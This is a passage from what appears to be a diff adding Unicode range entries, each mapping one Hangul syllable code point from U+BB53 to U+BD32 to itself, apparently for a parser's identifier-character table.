+ ["\uBB53", "\uBB53"], /* Hangul Syllable */
+ ["\uBB54", "\uBB54"], /* Hangul Syllable */
+ ["\uBB55", "\uBB55"], /* Hangul Syllable */
+ ["\uBB56", "\uBB56"], /* Hangul Syllable */
+ ["\uBB57", "\uBB57"], /* Hangul Syllable */
+ ["\uBB58", "\uBB58"], /* Hangul Syllable */
+ ["\uBB59", "\uBB59"], /* Hangul Syllable */
+ ["\uBB5A", "\uBB5A"], /* Hangul Syllable */
+ ["\uBB5B", "\uBB5B"], /* Hangul Syllable */
+ ["\uBB5C", "\uBB5C"], /* Hangul Syllable */
+ ["\uBB5D", "\uBB5D"], /* Hangul Syllable */
+ ["\uBB5E", "\uBB5E"], /* Hangul Syllable */
+ ["\uBB5F", "\uBB5F"], /* Hangul Syllable */
+ ["\uBB60", "\uBB60"], /* Hangul Syllable */
+ ["\uBB61", "\uBB61"], /* Hangul Syllable */
+ ["\uBB62", "\uBB62"], /* Hangul Syllable */
+ ["\uBB63", "\uBB63"], /* Hangul Syllable */
+ ["\uBB64", "\uBB64"], /* Hangul Syllable */
+ ["\uBB65", "\uBB65"], /* Hangul Syllable */
+ ["\uBB66", "\uBB66"], /* Hangul Syllable */
+ ["\uBB67", "\uBB67"], /* Hangul Syllable */
+ ["\uBB68", "\uBB68"], /* Hangul Syllable */
+ ["\uBB69", "\uBB69"], /* Hangul Syllable */
+ ["\uBB6A", "\uBB6A"], /* Hangul Syllable */
+ ["\uBB6B", "\uBB6B"], /* Hangul Syllable */
+ ["\uBB6C", "\uBB6C"], /* Hangul Syllable */
+ ["\uBB6D", "\uBB6D"], /* Hangul Syllable */
+ ["\uBB6E", "\uBB6E"], /* Hangul Syllable */
+ ["\uBB6F", "\uBB6F"], /* Hangul Syllable */
+ ["\uBB70", "\uBB70"], /* Hangul Syllable */
+ ["\uBB71", "\uBB71"], /* Hangul Syllable */
+ ["\uBB72", "\uBB72"], /* Hangul Syllable */
+ ["\uBB73", "\uBB73"], /* Hangul Syllable */
+ ["\uBB74", "\uBB74"], /* Hangul Syllable */
+ ["\uBB75", "\uBB75"], /* Hangul Syllable */
+ ["\uBB76", "\uBB76"], /* Hangul Syllable */
+ ["\uBB77", "\uBB77"], /* Hangul Syllable */
+ ["\uBB78", "\uBB78"], /* Hangul Syllable */
+ ["\uBB79", "\uBB79"], /* Hangul Syllable */
+ ["\uBB7A", "\uBB7A"], /* Hangul Syllable */
+ ["\uBB7B", "\uBB7B"], /* Hangul Syllable */
+ ["\uBB7C", "\uBB7C"], /* Hangul Syllable */
+ ["\uBB7D", "\uBB7D"], /* Hangul Syllable */
+ ["\uBB7E", "\uBB7E"], /* Hangul Syllable */
+ ["\uBB7F", "\uBB7F"], /* Hangul Syllable */
+ ["\uBB80", "\uBB80"], /* Hangul Syllable */
+ ["\uBB81", "\uBB81"], /* Hangul Syllable */
+ ["\uBB82", "\uBB82"], /* Hangul Syllable */
+ ["\uBB83", "\uBB83"], /* Hangul Syllable */
+ ["\uBB84", "\uBB84"], /* Hangul Syllable */
+ ["\uBB85", "\uBB85"], /* Hangul Syllable */
+ ["\uBB86", "\uBB86"], /* Hangul Syllable */
+ ["\uBB87", "\uBB87"], /* Hangul Syllable */
+ ["\uBB88", "\uBB88"], /* Hangul Syllable */
+ ["\uBB89", "\uBB89"], /* Hangul Syllable */
+ ["\uBB8A", "\uBB8A"], /* Hangul Syllable */
+ ["\uBB8B", "\uBB8B"], /* Hangul Syllable */
+ ["\uBB8C", "\uBB8C"], /* Hangul Syllable */
+ ["\uBB8D", "\uBB8D"], /* Hangul Syllable */
+ ["\uBB8E", "\uBB8E"], /* Hangul Syllable */
+ ["\uBB8F", "\uBB8F"], /* Hangul Syllable */
+ ["\uBB90", "\uBB90"], /* Hangul Syllable */
+ ["\uBB91", "\uBB91"], /* Hangul Syllable */
+ ["\uBB92", "\uBB92"], /* Hangul Syllable */
+ ["\uBB93", "\uBB93"], /* Hangul Syllable */
+ ["\uBB94", "\uBB94"], /* Hangul Syllable */
+ ["\uBB95", "\uBB95"], /* Hangul Syllable */
+ ["\uBB96", "\uBB96"], /* Hangul Syllable */
+ ["\uBB97", "\uBB97"], /* Hangul Syllable */
+ ["\uBB98", "\uBB98"], /* Hangul Syllable */
+ ["\uBB99", "\uBB99"], /* Hangul Syllable */
+ ["\uBB9A", "\uBB9A"], /* Hangul Syllable */
+ ["\uBB9B", "\uBB9B"], /* Hangul Syllable */
+ ["\uBB9C", "\uBB9C"], /* Hangul Syllable */
+ ["\uBB9D", "\uBB9D"], /* Hangul Syllable */
+ ["\uBB9E", "\uBB9E"], /* Hangul Syllable */
+ ["\uBB9F", "\uBB9F"], /* Hangul Syllable */
+ ["\uBBA0", "\uBBA0"], /* Hangul Syllable */
+ ["\uBBA1", "\uBBA1"], /* Hangul Syllable */
+ ["\uBBA2", "\uBBA2"], /* Hangul Syllable */
+ ["\uBBA3", "\uBBA3"], /* Hangul Syllable */
+ ["\uBBA4", "\uBBA4"], /* Hangul Syllable */
+ ["\uBBA5", "\uBBA5"], /* Hangul Syllable */
+ ["\uBBA6", "\uBBA6"], /* Hangul Syllable */
+ ["\uBBA7", "\uBBA7"], /* Hangul Syllable */
+ ["\uBBA8", "\uBBA8"], /* Hangul Syllable */
+ ["\uBBA9", "\uBBA9"], /* Hangul Syllable */
+ ["\uBBAA", "\uBBAA"], /* Hangul Syllable */
+ ["\uBBAB", "\uBBAB"], /* Hangul Syllable */
+ ["\uBBAC", "\uBBAC"], /* Hangul Syllable */
+ ["\uBBAD", "\uBBAD"], /* Hangul Syllable */
+ ["\uBBAE", "\uBBAE"], /* Hangul Syllable */
+ ["\uBBAF", "\uBBAF"], /* Hangul Syllable */
+ ["\uBBB0", "\uBBB0"], /* Hangul Syllable */
+ ["\uBBB1", "\uBBB1"], /* Hangul Syllable */
+ ["\uBBB2", "\uBBB2"], /* Hangul Syllable */
+ ["\uBBB3", "\uBBB3"], /* Hangul Syllable */
+ ["\uBBB4", "\uBBB4"], /* Hangul Syllable */
+ ["\uBBB5", "\uBBB5"], /* Hangul Syllable */
+ ["\uBBB6", "\uBBB6"], /* Hangul Syllable */
+ ["\uBBB7", "\uBBB7"], /* Hangul Syllable */
+ ["\uBBB8", "\uBBB8"], /* Hangul Syllable */
+ ["\uBBB9", "\uBBB9"], /* Hangul Syllable */
+ ["\uBBBA", "\uBBBA"], /* Hangul Syllable */
+ ["\uBBBB", "\uBBBB"], /* Hangul Syllable */
+ ["\uBBBC", "\uBBBC"], /* Hangul Syllable */
+ ["\uBBBD", "\uBBBD"], /* Hangul Syllable */
+ ["\uBBBE", "\uBBBE"], /* Hangul Syllable */
+ ["\uBBBF", "\uBBBF"], /* Hangul Syllable */
+ ["\uBBC0", "\uBBC0"], /* Hangul Syllable */
+ ["\uBBC1", "\uBBC1"], /* Hangul Syllable */
+ ["\uBBC2", "\uBBC2"], /* Hangul Syllable */
+ ["\uBBC3", "\uBBC3"], /* Hangul Syllable */
+ ["\uBBC4", "\uBBC4"], /* Hangul Syllable */
+ ["\uBBC5", "\uBBC5"], /* Hangul Syllable */
+ ["\uBBC6", "\uBBC6"], /* Hangul Syllable */
+ ["\uBBC7", "\uBBC7"], /* Hangul Syllable */
+ ["\uBBC8", "\uBBC8"], /* Hangul Syllable */
+ ["\uBBC9", "\uBBC9"], /* Hangul Syllable */
+ ["\uBBCA", "\uBBCA"], /* Hangul Syllable */
+ ["\uBBCB", "\uBBCB"], /* Hangul Syllable */
+ ["\uBBCC", "\uBBCC"], /* Hangul Syllable */
+ ["\uBBCD", "\uBBCD"], /* Hangul Syllable */
+ ["\uBBCE", "\uBBCE"], /* Hangul Syllable */
+ ["\uBBCF", "\uBBCF"], /* Hangul Syllable */
+ ["\uBBD0", "\uBBD0"], /* Hangul Syllable */
+ ["\uBBD1", "\uBBD1"], /* Hangul Syllable */
+ ["\uBBD2", "\uBBD2"], /* Hangul Syllable */
+ ["\uBBD3", "\uBBD3"], /* Hangul Syllable */
+ ["\uBBD4", "\uBBD4"], /* Hangul Syllable */
+ ["\uBBD5", "\uBBD5"], /* Hangul Syllable */
+ ["\uBBD6", "\uBBD6"], /* Hangul Syllable */
+ ["\uBBD7", "\uBBD7"], /* Hangul Syllable */
+ ["\uBBD8", "\uBBD8"], /* Hangul Syllable */
+ ["\uBBD9", "\uBBD9"], /* Hangul Syllable */
+ ["\uBBDA", "\uBBDA"], /* Hangul Syllable */
+ ["\uBBDB", "\uBBDB"], /* Hangul Syllable */
+ ["\uBBDC", "\uBBDC"], /* Hangul Syllable */
+ ["\uBBDD", "\uBBDD"], /* Hangul Syllable */
+ ["\uBBDE", "\uBBDE"], /* Hangul Syllable */
+ ["\uBBDF", "\uBBDF"], /* Hangul Syllable */
+ ["\uBBE0", "\uBBE0"], /* Hangul Syllable */
+ ["\uBBE1", "\uBBE1"], /* Hangul Syllable */
+ ["\uBBE2", "\uBBE2"], /* Hangul Syllable */
+ ["\uBBE3", "\uBBE3"], /* Hangul Syllable */
+ ["\uBBE4", "\uBBE4"], /* Hangul Syllable */
+ ["\uBBE5", "\uBBE5"], /* Hangul Syllable */
+ ["\uBBE6", "\uBBE6"], /* Hangul Syllable */
+ ["\uBBE7", "\uBBE7"], /* Hangul Syllable */
+ ["\uBBE8", "\uBBE8"], /* Hangul Syllable */
+ ["\uBBE9", "\uBBE9"], /* Hangul Syllable */
+ ["\uBBEA", "\uBBEA"], /* Hangul Syllable */
+ ["\uBBEB", "\uBBEB"], /* Hangul Syllable */
+ ["\uBBEC", "\uBBEC"], /* Hangul Syllable */
+ ["\uBBED", "\uBBED"], /* Hangul Syllable */
+ ["\uBBEE", "\uBBEE"], /* Hangul Syllable */
+ ["\uBBEF", "\uBBEF"], /* Hangul Syllable */
+ ["\uBBF0", "\uBBF0"], /* Hangul Syllable */
+ ["\uBBF1", "\uBBF1"], /* Hangul Syllable */
+ ["\uBBF2", "\uBBF2"], /* Hangul Syllable */
+ ["\uBBF3", "\uBBF3"], /* Hangul Syllable */
+ ["\uBBF4", "\uBBF4"], /* Hangul Syllable */
+ ["\uBBF5", "\uBBF5"], /* Hangul Syllable */
+ ["\uBBF6", "\uBBF6"], /* Hangul Syllable */
+ ["\uBBF7", "\uBBF7"], /* Hangul Syllable */
+ ["\uBBF8", "\uBBF8"], /* Hangul Syllable */
+ ["\uBBF9", "\uBBF9"], /* Hangul Syllable */
+ ["\uBBFA", "\uBBFA"], /* Hangul Syllable */
+ ["\uBBFB", "\uBBFB"], /* Hangul Syllable */
+ ["\uBBFC", "\uBBFC"], /* Hangul Syllable */
+ ["\uBBFD", "\uBBFD"], /* Hangul Syllable */
+ ["\uBBFE", "\uBBFE"], /* Hangul Syllable */
+ ["\uBBFF", "\uBBFF"], /* Hangul Syllable */
+ ["\uBC00", "\uBC00"], /* Hangul Syllable */
+ ["\uBC01", "\uBC01"], /* Hangul Syllable */
+ ["\uBC02", "\uBC02"], /* Hangul Syllable */
+ ["\uBC03", "\uBC03"], /* Hangul Syllable */
+ ["\uBC04", "\uBC04"], /* Hangul Syllable */
+ ["\uBC05", "\uBC05"], /* Hangul Syllable */
+ ["\uBC06", "\uBC06"], /* Hangul Syllable */
+ ["\uBC07", "\uBC07"], /* Hangul Syllable */
+ ["\uBC08", "\uBC08"], /* Hangul Syllable */
+ ["\uBC09", "\uBC09"], /* Hangul Syllable */
+ ["\uBC0A", "\uBC0A"], /* Hangul Syllable */
+ ["\uBC0B", "\uBC0B"], /* Hangul Syllable */
+ ["\uBC0C", "\uBC0C"], /* Hangul Syllable */
+ ["\uBC0D", "\uBC0D"], /* Hangul Syllable */
+ ["\uBC0E", "\uBC0E"], /* Hangul Syllable */
+ ["\uBC0F", "\uBC0F"], /* Hangul Syllable */
+ ["\uBC10", "\uBC10"], /* Hangul Syllable */
+ ["\uBC11", "\uBC11"], /* Hangul Syllable */
+ ["\uBC12", "\uBC12"], /* Hangul Syllable */
+ ["\uBC13", "\uBC13"], /* Hangul Syllable */
+ ["\uBC14", "\uBC14"], /* Hangul Syllable */
+ ["\uBC15", "\uBC15"], /* Hangul Syllable */
+ ["\uBC16", "\uBC16"], /* Hangul Syllable */
+ ["\uBC17", "\uBC17"], /* Hangul Syllable */
+ ["\uBC18", "\uBC18"], /* Hangul Syllable */
+ ["\uBC19", "\uBC19"], /* Hangul Syllable */
+ ["\uBC1A", "\uBC1A"], /* Hangul Syllable */
+ ["\uBC1B", "\uBC1B"], /* Hangul Syllable */
+ ["\uBC1C", "\uBC1C"], /* Hangul Syllable */
+ ["\uBC1D", "\uBC1D"], /* Hangul Syllable */
+ ["\uBC1E", "\uBC1E"], /* Hangul Syllable */
+ ["\uBC1F", "\uBC1F"], /* Hangul Syllable */
+ ["\uBC20", "\uBC20"], /* Hangul Syllable */
+ ["\uBC21", "\uBC21"], /* Hangul Syllable */
+ ["\uBC22", "\uBC22"], /* Hangul Syllable */
+ ["\uBC23", "\uBC23"], /* Hangul Syllable */
+ ["\uBC24", "\uBC24"], /* Hangul Syllable */
+ ["\uBC25", "\uBC25"], /* Hangul Syllable */
+ ["\uBC26", "\uBC26"], /* Hangul Syllable */
+ ["\uBC27", "\uBC27"], /* Hangul Syllable */
+ ["\uBC28", "\uBC28"], /* Hangul Syllable */
+ ["\uBC29", "\uBC29"], /* Hangul Syllable */
+ ["\uBC2A", "\uBC2A"], /* Hangul Syllable */
+ ["\uBC2B", "\uBC2B"], /* Hangul Syllable */
+ ["\uBC2C", "\uBC2C"], /* Hangul Syllable */
+ ["\uBC2D", "\uBC2D"], /* Hangul Syllable */
+ ["\uBC2E", "\uBC2E"], /* Hangul Syllable */
+ ["\uBC2F", "\uBC2F"], /* Hangul Syllable */
+ ["\uBC30", "\uBC30"], /* Hangul Syllable */
+ ["\uBC31", "\uBC31"], /* Hangul Syllable */
+ ["\uBC32", "\uBC32"], /* Hangul Syllable */
+ ["\uBC33", "\uBC33"], /* Hangul Syllable */
+ ["\uBC34", "\uBC34"], /* Hangul Syllable */
+ ["\uBC35", "\uBC35"], /* Hangul Syllable */
+ ["\uBC36", "\uBC36"], /* Hangul Syllable */
+ ["\uBC37", "\uBC37"], /* Hangul Syllable */
+ ["\uBC38", "\uBC38"], /* Hangul Syllable */
+ ["\uBC39", "\uBC39"], /* Hangul Syllable */
+ ["\uBC3A", "\uBC3A"], /* Hangul Syllable */
+ ["\uBC3B", "\uBC3B"], /* Hangul Syllable */
+ ["\uBC3C", "\uBC3C"], /* Hangul Syllable */
+ ["\uBC3D", "\uBC3D"], /* Hangul Syllable */
+ ["\uBC3E", "\uBC3E"], /* Hangul Syllable */
+ ["\uBC3F", "\uBC3F"], /* Hangul Syllable */
+ ["\uBC40", "\uBC40"], /* Hangul Syllable */
+ ["\uBC41", "\uBC41"], /* Hangul Syllable */
+ ["\uBC42", "\uBC42"], /* Hangul Syllable */
+ ["\uBC43", "\uBC43"], /* Hangul Syllable */
+ ["\uBC44", "\uBC44"], /* Hangul Syllable */
+ ["\uBC45", "\uBC45"], /* Hangul Syllable */
+ ["\uBC46", "\uBC46"], /* Hangul Syllable */
+ ["\uBC47", "\uBC47"], /* Hangul Syllable */
+ ["\uBC48", "\uBC48"], /* Hangul Syllable */
+ ["\uBC49", "\uBC49"], /* Hangul Syllable */
+ ["\uBC4A", "\uBC4A"], /* Hangul Syllable */
+ ["\uBC4B", "\uBC4B"], /* Hangul Syllable */
+ ["\uBC4C", "\uBC4C"], /* Hangul Syllable */
+ ["\uBC4D", "\uBC4D"], /* Hangul Syllable */
+ ["\uBC4E", "\uBC4E"], /* Hangul Syllable */
+ ["\uBC4F", "\uBC4F"], /* Hangul Syllable */
+ ["\uBC50", "\uBC50"], /* Hangul Syllable */
+ ["\uBC51", "\uBC51"], /* Hangul Syllable */
+ ["\uBC52", "\uBC52"], /* Hangul Syllable */
+ ["\uBC53", "\uBC53"], /* Hangul Syllable */
+ ["\uBC54", "\uBC54"], /* Hangul Syllable */
+ ["\uBC55", "\uBC55"], /* Hangul Syllable */
+ ["\uBC56", "\uBC56"], /* Hangul Syllable */
+ ["\uBC57", "\uBC57"], /* Hangul Syllable */
+ ["\uBC58", "\uBC58"], /* Hangul Syllable */
+ ["\uBC59", "\uBC59"], /* Hangul Syllable */
+ ["\uBC5A", "\uBC5A"], /* Hangul Syllable */
+ ["\uBC5B", "\uBC5B"], /* Hangul Syllable */
+ ["\uBC5C", "\uBC5C"], /* Hangul Syllable */
+ ["\uBC5D", "\uBC5D"], /* Hangul Syllable */
+ ["\uBC5E", "\uBC5E"], /* Hangul Syllable */
+ ["\uBC5F", "\uBC5F"], /* Hangul Syllable */
+ ["\uBC60", "\uBC60"], /* Hangul Syllable */
+ ["\uBC61", "\uBC61"], /* Hangul Syllable */
+ ["\uBC62", "\uBC62"], /* Hangul Syllable */
+ ["\uBC63", "\uBC63"], /* Hangul Syllable */
+ ["\uBC64", "\uBC64"], /* Hangul Syllable */
+ ["\uBC65", "\uBC65"], /* Hangul Syllable */
+ ["\uBC66", "\uBC66"], /* Hangul Syllable */
+ ["\uBC67", "\uBC67"], /* Hangul Syllable */
+ ["\uBC68", "\uBC68"], /* Hangul Syllable */
+ ["\uBC69", "\uBC69"], /* Hangul Syllable */
+ ["\uBC6A", "\uBC6A"], /* Hangul Syllable */
+ ["\uBC6B", "\uBC6B"], /* Hangul Syllable */
+ ["\uBC6C", "\uBC6C"], /* Hangul Syllable */
+ ["\uBC6D", "\uBC6D"], /* Hangul Syllable */
+ ["\uBC6E", "\uBC6E"], /* Hangul Syllable */
+ ["\uBC6F", "\uBC6F"], /* Hangul Syllable */
+ ["\uBC70", "\uBC70"], /* Hangul Syllable */
+ ["\uBC71", "\uBC71"], /* Hangul Syllable */
+ ["\uBC72", "\uBC72"], /* Hangul Syllable */
+ ["\uBC73", "\uBC73"], /* Hangul Syllable */
+ ["\uBC74", "\uBC74"], /* Hangul Syllable */
+ ["\uBC75", "\uBC75"], /* Hangul Syllable */
+ ["\uBC76", "\uBC76"], /* Hangul Syllable */
+ ["\uBC77", "\uBC77"], /* Hangul Syllable */
+ ["\uBC78", "\uBC78"], /* Hangul Syllable */
+ ["\uBC79", "\uBC79"], /* Hangul Syllable */
+ ["\uBC7A", "\uBC7A"], /* Hangul Syllable */
+ ["\uBC7B", "\uBC7B"], /* Hangul Syllable */
+ ["\uBC7C", "\uBC7C"], /* Hangul Syllable */
+ ["\uBC7D", "\uBC7D"], /* Hangul Syllable */
+ ["\uBC7E", "\uBC7E"], /* Hangul Syllable */
+ ["\uBC7F", "\uBC7F"], /* Hangul Syllable */
+ ["\uBC80", "\uBC80"], /* Hangul Syllable */
+ ["\uBC81", "\uBC81"], /* Hangul Syllable */
+ ["\uBC82", "\uBC82"], /* Hangul Syllable */
+ ["\uBC83", "\uBC83"], /* Hangul Syllable */
+ ["\uBC84", "\uBC84"], /* Hangul Syllable */
+ ["\uBC85", "\uBC85"], /* Hangul Syllable */
+ ["\uBC86", "\uBC86"], /* Hangul Syllable */
+ ["\uBC87", "\uBC87"], /* Hangul Syllable */
+ ["\uBC88", "\uBC88"], /* Hangul Syllable */
+ ["\uBC89", "\uBC89"], /* Hangul Syllable */
+ ["\uBC8A", "\uBC8A"], /* Hangul Syllable */
+ ["\uBC8B", "\uBC8B"], /* Hangul Syllable */
+ ["\uBC8C", "\uBC8C"], /* Hangul Syllable */
+ ["\uBC8D", "\uBC8D"], /* Hangul Syllable */
+ ["\uBC8E", "\uBC8E"], /* Hangul Syllable */
+ ["\uBC8F", "\uBC8F"], /* Hangul Syllable */
+ ["\uBC90", "\uBC90"], /* Hangul Syllable */
+ ["\uBC91", "\uBC91"], /* Hangul Syllable */
+ ["\uBC92", "\uBC92"], /* Hangul Syllable */
+ ["\uBC93", "\uBC93"], /* Hangul Syllable */
+ ["\uBC94", "\uBC94"], /* Hangul Syllable */
+ ["\uBC95", "\uBC95"], /* Hangul Syllable */
+ ["\uBC96", "\uBC96"], /* Hangul Syllable */
+ ["\uBC97", "\uBC97"], /* Hangul Syllable */
+ ["\uBC98", "\uBC98"], /* Hangul Syllable */
+ ["\uBC99", "\uBC99"], /* Hangul Syllable */
+ ["\uBC9A", "\uBC9A"], /* Hangul Syllable */
+ ["\uBC9B", "\uBC9B"], /* Hangul Syllable */
+ ["\uBC9C", "\uBC9C"], /* Hangul Syllable */
+ ["\uBC9D", "\uBC9D"], /* Hangul Syllable */
+ ["\uBC9E", "\uBC9E"], /* Hangul Syllable */
+ ["\uBC9F", "\uBC9F"], /* Hangul Syllable */
+ ["\uBCA0", "\uBCA0"], /* Hangul Syllable */
+ ["\uBCA1", "\uBCA1"], /* Hangul Syllable */
+ ["\uBCA2", "\uBCA2"], /* Hangul Syllable */
+ ["\uBCA3", "\uBCA3"], /* Hangul Syllable */
+ ["\uBCA4", "\uBCA4"], /* Hangul Syllable */
+ ["\uBCA5", "\uBCA5"], /* Hangul Syllable */
+ ["\uBCA6", "\uBCA6"], /* Hangul Syllable */
+ ["\uBCA7", "\uBCA7"], /* Hangul Syllable */
+ ["\uBCA8", "\uBCA8"], /* Hangul Syllable */
+ ["\uBCA9", "\uBCA9"], /* Hangul Syllable */
+ ["\uBCAA", "\uBCAA"], /* Hangul Syllable */
+ ["\uBCAB", "\uBCAB"], /* Hangul Syllable */
+ ["\uBCAC", "\uBCAC"], /* Hangul Syllable */
+ ["\uBCAD", "\uBCAD"], /* Hangul Syllable */
+ ["\uBCAE", "\uBCAE"], /* Hangul Syllable */
+ ["\uBCAF", "\uBCAF"], /* Hangul Syllable */
+ ["\uBCB0", "\uBCB0"], /* Hangul Syllable */
+ ["\uBCB1", "\uBCB1"], /* Hangul Syllable */
+ ["\uBCB2", "\uBCB2"], /* Hangul Syllable */
+ ["\uBCB3", "\uBCB3"], /* Hangul Syllable */
+ ["\uBCB4", "\uBCB4"], /* Hangul Syllable */
+ ["\uBCB5", "\uBCB5"], /* Hangul Syllable */
+ ["\uBCB6", "\uBCB6"], /* Hangul Syllable */
+ ["\uBCB7", "\uBCB7"], /* Hangul Syllable */
+ ["\uBCB8", "\uBCB8"], /* Hangul Syllable */
+ ["\uBCB9", "\uBCB9"], /* Hangul Syllable */
+ ["\uBCBA", "\uBCBA"], /* Hangul Syllable */
+ ["\uBCBB", "\uBCBB"], /* Hangul Syllable */
+ ["\uBCBC", "\uBCBC"], /* Hangul Syllable */
+ ["\uBCBD", "\uBCBD"], /* Hangul Syllable */
+ ["\uBCBE", "\uBCBE"], /* Hangul Syllable */
+ ["\uBCBF", "\uBCBF"], /* Hangul Syllable */
+ ["\uBCC0", "\uBCC0"], /* Hangul Syllable */
+ ["\uBCC1", "\uBCC1"], /* Hangul Syllable */
+ ["\uBCC2", "\uBCC2"], /* Hangul Syllable */
+ ["\uBCC3", "\uBCC3"], /* Hangul Syllable */
+ ["\uBCC4", "\uBCC4"], /* Hangul Syllable */
+ ["\uBCC5", "\uBCC5"], /* Hangul Syllable */
+ ["\uBCC6", "\uBCC6"], /* Hangul Syllable */
+ ["\uBCC7", "\uBCC7"], /* Hangul Syllable */
+ ["\uBCC8", "\uBCC8"], /* Hangul Syllable */
+ ["\uBCC9", "\uBCC9"], /* Hangul Syllable */
+ ["\uBCCA", "\uBCCA"], /* Hangul Syllable */
+ ["\uBCCB", "\uBCCB"], /* Hangul Syllable */
+ ["\uBCCC", "\uBCCC"], /* Hangul Syllable */
+ ["\uBCCD", "\uBCCD"], /* Hangul Syllable */
+ ["\uBCCE", "\uBCCE"], /* Hangul Syllable */
+ ["\uBCCF", "\uBCCF"], /* Hangul Syllable */
+ ["\uBCD0", "\uBCD0"], /* Hangul Syllable */
+ ["\uBCD1", "\uBCD1"], /* Hangul Syllable */
+ ["\uBCD2", "\uBCD2"], /* Hangul Syllable */
+ ["\uBCD3", "\uBCD3"], /* Hangul Syllable */
+ ["\uBCD4", "\uBCD4"], /* Hangul Syllable */
+ ["\uBCD5", "\uBCD5"], /* Hangul Syllable */
+ ["\uBCD6", "\uBCD6"], /* Hangul Syllable */
+ ["\uBCD7", "\uBCD7"], /* Hangul Syllable */
+ ["\uBCD8", "\uBCD8"], /* Hangul Syllable */
+ ["\uBCD9", "\uBCD9"], /* Hangul Syllable */
+ ["\uBCDA", "\uBCDA"], /* Hangul Syllable */
+ ["\uBCDB", "\uBCDB"], /* Hangul Syllable */
+ ["\uBCDC", "\uBCDC"], /* Hangul Syllable */
+ ["\uBCDD", "\uBCDD"], /* Hangul Syllable */
+ ["\uBCDE", "\uBCDE"], /* Hangul Syllable */
+ ["\uBCDF", "\uBCDF"], /* Hangul Syllable */
+ ["\uBCE0", "\uBCE0"], /* Hangul Syllable */
+ ["\uBCE1", "\uBCE1"], /* Hangul Syllable */
+ ["\uBCE2", "\uBCE2"], /* Hangul Syllable */
+ ["\uBCE3", "\uBCE3"], /* Hangul Syllable */
+ ["\uBCE4", "\uBCE4"], /* Hangul Syllable */
+ ["\uBCE5", "\uBCE5"], /* Hangul Syllable */
+ ["\uBCE6", "\uBCE6"], /* Hangul Syllable */
+ ["\uBCE7", "\uBCE7"], /* Hangul Syllable */
+ ["\uBCE8", "\uBCE8"], /* Hangul Syllable */
+ ["\uBCE9", "\uBCE9"], /* Hangul Syllable */
+ ["\uBCEA", "\uBCEA"], /* Hangul Syllable */
+ ["\uBCEB", "\uBCEB"], /* Hangul Syllable */
+ ["\uBCEC", "\uBCEC"], /* Hangul Syllable */
+ ["\uBCED", "\uBCED"], /* Hangul Syllable */
+ ["\uBCEE", "\uBCEE"], /* Hangul Syllable */
+ ["\uBCEF", "\uBCEF"], /* Hangul Syllable */
+ ["\uBCF0", "\uBCF0"], /* Hangul Syllable */
+ ["\uBCF1", "\uBCF1"], /* Hangul Syllable */
+ ["\uBCF2", "\uBCF2"], /* Hangul Syllable */
+ ["\uBCF3", "\uBCF3"], /* Hangul Syllable */
+ ["\uBCF4", "\uBCF4"], /* Hangul Syllable */
+ ["\uBCF5", "\uBCF5"], /* Hangul Syllable */
+ ["\uBCF6", "\uBCF6"], /* Hangul Syllable */
+ ["\uBCF7", "\uBCF7"], /* Hangul Syllable */
+ ["\uBCF8", "\uBCF8"], /* Hangul Syllable */
+ ["\uBCF9", "\uBCF9"], /* Hangul Syllable */
+ ["\uBCFA", "\uBCFA"], /* Hangul Syllable */
+ ["\uBCFB", "\uBCFB"], /* Hangul Syllable */
+ ["\uBCFC", "\uBCFC"], /* Hangul Syllable */
+ ["\uBCFD", "\uBCFD"], /* Hangul Syllable */
+ ["\uBCFE", "\uBCFE"], /* Hangul Syllable */
+ ["\uBCFF", "\uBCFF"], /* Hangul Syllable */
+ ["\uBD00", "\uBD00"], /* Hangul Syllable */
+ ["\uBD01", "\uBD01"], /* Hangul Syllable */
+ ["\uBD02", "\uBD02"], /* Hangul Syllable */
+ ["\uBD03", "\uBD03"], /* Hangul Syllable */
+ ["\uBD04", "\uBD04"], /* Hangul Syllable */
+ ["\uBD05", "\uBD05"], /* Hangul Syllable */
+ ["\uBD06", "\uBD06"], /* Hangul Syllable */
+ ["\uBD07", "\uBD07"], /* Hangul Syllable */
+ ["\uBD08", "\uBD08"], /* Hangul Syllable */
+ ["\uBD09", "\uBD09"], /* Hangul Syllable */
+ ["\uBD0A", "\uBD0A"], /* Hangul Syllable */
+ ["\uBD0B", "\uBD0B"], /* Hangul Syllable */
+ ["\uBD0C", "\uBD0C"], /* Hangul Syllable */
+ ["\uBD0D", "\uBD0D"], /* Hangul Syllable */
+ ["\uBD0E", "\uBD0E"], /* Hangul Syllable */
+ ["\uBD0F", "\uBD0F"], /* Hangul Syllable */
+ ["\uBD10", "\uBD10"], /* Hangul Syllable */
+ ["\uBD11", "\uBD11"], /* Hangul Syllable */
+ ["\uBD12", "\uBD12"], /* Hangul Syllable */
+ ["\uBD13", "\uBD13"], /* Hangul Syllable */
+ ["\uBD14", "\uBD14"], /* Hangul Syllable */
+ ["\uBD15", "\uBD15"], /* Hangul Syllable */
+ ["\uBD16", "\uBD16"], /* Hangul Syllable */
+ ["\uBD17", "\uBD17"], /* Hangul Syllable */
+ ["\uBD18", "\uBD18"], /* Hangul Syllable */
+ ["\uBD19", "\uBD19"], /* Hangul Syllable */
+ ["\uBD1A", "\uBD1A"], /* Hangul Syllable */
+ ["\uBD1B", "\uBD1B"], /* Hangul Syllable */
+ ["\uBD1C", "\uBD1C"], /* Hangul Syllable */
+ ["\uBD1D", "\uBD1D"], /* Hangul Syllable */
+ ["\uBD1E", "\uBD1E"], /* Hangul Syllable */
+ ["\uBD1F", "\uBD1F"], /* Hangul Syllable */
+ ["\uBD20", "\uBD20"], /* Hangul Syllable */
+ ["\uBD21", "\uBD21"], /* Hangul Syllable */
+ ["\uBD22", "\uBD22"], /* Hangul Syllable */
+ ["\uBD23", "\uBD23"], /* Hangul Syllable */
+ ["\uBD24", "\uBD24"], /* Hangul Syllable */
+ ["\uBD25", "\uBD25"], /* Hangul Syllable */
+ ["\uBD26", "\uBD26"], /* Hangul Syllable */
+ ["\uBD27", "\uBD27"], /* Hangul Syllable */
+ ["\uBD28", "\uBD28"], /* Hangul Syllable */
+ ["\uBD29", "\uBD29"], /* Hangul Syllable */
+ ["\uBD2A", "\uBD2A"], /* Hangul Syllable */
+ ["\uBD2B", "\uBD2B"], /* Hangul Syllable */
+ ["\uBD2C", "\uBD2C"], /* Hangul Syllable */
+ ["\uBD2D", "\uBD2D"], /* Hangul Syllable */
+ ["\uBD2E", "\uBD2E"], /* Hangul Syllable */
+ ["\uBD2F", "\uBD2F"], /* Hangul Syllable */
+ ["\uBD30", "\uBD30"], /* Hangul Syllable */
+ ["\uBD31", "\uBD31"], /* Hangul Syllable */
+ ["\uBD32", "\uBD32"], /* Hangul Syllable */
